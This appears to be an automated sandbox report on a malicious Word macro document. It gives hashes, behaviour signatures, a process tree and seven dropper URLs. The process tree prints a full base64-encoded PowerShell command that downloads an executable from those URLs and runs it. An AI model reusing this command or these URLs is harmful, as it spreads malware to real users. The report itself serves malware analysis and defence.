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Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 23:40

General

  • Target

    7ecd349a59cfe2dbe2c6e746c705fbd8_JaffaCakes118.doc

  • Size

    172KB

  • MD5

    7ecd349a59cfe2dbe2c6e746c705fbd8

  • SHA1

    0c3ccdf29afcd252273f608bf15f72d3a4e1be64

  • SHA256

    c6dcfa2a31a094225c25a0d53cccd915b76ab34be20b10fc775d740b3e6d9b21

  • SHA512

    ca6f1c8330cd986ecbd06f09ae0b53dfddb1658b9f5b28d9077d3e0aa64dd00b508dec583d77d3659f143ba1ac1474859ad65a003f73af0bdf3c8c241993c4c0

  • SSDEEP

    1536:erdi1Ir77zOH98Wj2gpngR+a93RxO8nq78ct2PU7MXKSSxH5pcKaJnl7y2N:erfrzOH98ipgqkBl71

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://rhyton-building.com/wp-admin/Ey8qV0/

exe.dropper

http://ezzll.com/wp-includes/KIU2WU/

exe.dropper

http://tellmetech.com/wp-content/4ka/

exe.dropper

https://elmundodelareposteria.com/wp-admin/0PVVmJm/

exe.dropper

https://manuelrozas.cl/assets/XWN/

exe.dropper

https://haritdharni.com/wp-admin/bZM/

exe.dropper

https://theworks-group.com/site/pQT6j5/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7ecd349a59cfe2dbe2c6e746c705fbd8_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQBvAGYAVwBzAFUAdgBcAGwAbgB4AFkATgA2AF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBgAFUAcgBJAFQAeQBwAHIAYABvAFQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsACcAKQArACgAJwBzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEYAegBnAGEAdQAwAGUAIAA9ACAAKAAnAE0AJwArACcAagBsACcAKwAoACcAegBpAGYAJwArACcAbQB1ACcAKQApADsAJABDADQAaQA5AHgANQBuAD0AKAAoACcAUgBoACcAKwAnAG0AJwApACsAJwBtACcAKwAoACcAegBxACcAKwAnAHMAJwApACkAOwAkAEQAOAA5AGkAdwB2AGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBiAEMAJwArACcAUgBVAG8AZgB3ACcAKQArACcAcwB1ACcAKwAnAHYAYgAnACsAKAAnAEMAUgBMAG4AJwArACcAeAB5ACcAKQArACcAbgA2ACcAKwAnAF8AYgAnACsAJwBDACcAKwAnAFIAJwApACAAIAAtAGMAUgBFAHAAbABhAEMAZQAoACcAYgBDACcAKwAnAFIAJwApACwAWwBjAGgAYQBSAF0AOQAyACkAKwAkAEYAegBnAGEAdQAwAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABTAHQAYQBxAG0AcgBmAD0AKAAnAEEAJwArACgAJwBnAGUAJwArACcAdAAnACkAKwAoACcAawBrACcAKwAnAHkAJwApACkAOwAkAFcAdQBiADMAbQAxAHQAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAEEAbgB6AGwAOQB1AGsAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBoACcAKwAnAHkAJwApACsAJwB0ACcAKwAnAG8AJwArACcAbgAtACcAKwAoACcAYgB1ACcAKwAnAGkAbABkACcAKQArACgAJwBpAG4AJwArACcAZwAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBFAHkAOABxAFYAJwArACcAMAAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAGUAegAnACkAKwAoACcAegBsACcAKwAnAGwAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAJwApACsAJwBsAHUAJwArACgAJwBkAGUAJwArACcAcwAvAEsASQBVADIAVwBVACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwB0ACcAKwAnAGUAbAAnACkAKwAoACcAbAAnACsAJwBtAGUAJwApACsAKAAnAHQAJwArACcAZQBjACcAKQArACgAJwBoAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQAJwArACcALwA0AGsAJwApACsAJwBhACcAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZQBsAG0AJwApACsAKAAnAHUAbgBkAG8AJwArACcAZABlAGwAJwArACcAYQByACcAKQArACgAJwBlAHAAbwBzAHQAJwArACcAZQAnACkAKwAnAHIAJwArACcAaQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvAHcAcAAnACsAJwAtACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAJwArACgAJwBuAC8AMAAnACsAJwBQAFYAJwApACsAKAAnAFYAbQBKAG0ALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AbQBhACcAKQArACgAJwBuACcAKwAnAHUAZQAnACkAKwAnAGwAJwArACgAJwByAG8AegBhACcAKwAnAHMALgBjAGwALwAnACkAKwAnAGEAJwArACgAJwBzAHMAZQAnACsAJwB0ACcAKwAnAHMAJwArACcALwBYAFcATgAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGgAJwArACgAJwBhAHIAJwArACcAaQB0AGQAaABhACcAKQArACgAJwByAG4AaQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4ALwBiACcAKwAnAFoATQAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0ACcAKQArACcAaABlACcAKwAoACcAdwAnACsAJwBvAHIAawBzAC0AZwByAG8AdQAnACsAJwBwACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwBzACcAKQArACgAJwBpAHQAJwArACcAZQAvAHAAUQAnACkAKwAoACcAVAAnACsAJwA2AGoAJwApACsAJwA1AC8AJwApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAZQAxAHMAbABzAHEAPQAoACcAVAB1ACcAKwAnAHoAYwAnACsAKAAnAHgAJwArACcAbAA0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUAB2AHMAZQBkAG4AMwAgAGkAbgAgACQAQQBuAHoAbAA5AHUAawApAHsAdAByAHkAewAkAFcAdQBiADMAbQAxAHQALgAiAGQATwBXAG4AYABsAG8AQQBgAEQAYABGAEkAbABFACIAKAAkAFAAdgBzAGUAZABuADMALAAgACQARAA4ADkAaQB3AHYAawApADsAJABWADcAdAB4AG0AZABfAD0AKAAnAFEAJwArACgAJwA1ADkAcQAxACcAKwAnADYAbwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABEADgAOQBpAHcAdgBrACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAAMgA4ADIANwA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEQAOAA5AGkAdwB2AGsAKQA7ACQATABqAHUAMQBfAHMAaAA9ACgAJwBJACcAKwAoACcAMQA0ACcAKwAnADQAJwApACsAKAAnAGQAJwArACcANAB6ACcAKQApADsAYgByAGUAYQBrADsAJABIAHoAcAAzAGEAdQBfAD0AKAAoACcAQwA3ACcAKwAnAHMAdQAnACkAKwAoACcAYQAwACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBnAGMAaQBlADYAPQAoACgAJwBIAHYAJwArACcAXwBvACcAKQArACcAZwA1ACcAKwAnAHQAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2564

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      a694c2478195021054033252359a2601

      SHA1

      a16165e58e5dd965efbd06332e258f0b2ad8b8d2

      SHA256

      c53ca0ca5bcbff686ad90b65be1626583c4454b2dd7a50a14ba706b84e2aeb61

      SHA512

      204f56e2ccd02fcc7622e194e752eeefb496f639b40ffd57ec2a7f982c809f0c110ec71babceb9f916aa265f2b1b7d64c158adfa07f356b6b1f8fd2dab8d29d1

    • memory/2236-9-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-29-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-6-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-7-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-10-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-8-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-15-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-22-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-20-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-32-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-18-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-17-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-16-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-14-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-13-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-12-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-11-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-0-0x000000002FB11000-0x000000002FB12000-memory.dmp

      Filesize

      4KB

    • memory/2236-2-0x00000000718DD000-0x00000000718E8000-memory.dmp

      Filesize

      44KB

    • memory/2236-27-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-19-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-31-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-30-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-28-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-26-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-25-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-24-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-23-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-33-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-66-0x00000000718DD000-0x00000000718E8000-memory.dmp

      Filesize

      44KB

    • memory/2236-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2236-45-0x00000000718DD000-0x00000000718E8000-memory.dmp

      Filesize

      44KB

    • memory/2236-47-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-48-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-49-0x0000000000860000-0x0000000000960000-memory.dmp

      Filesize

      1024KB

    • memory/2236-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2564-40-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

      Filesize

      32KB

    • memory/2564-39-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

      Filesize

      2.9MB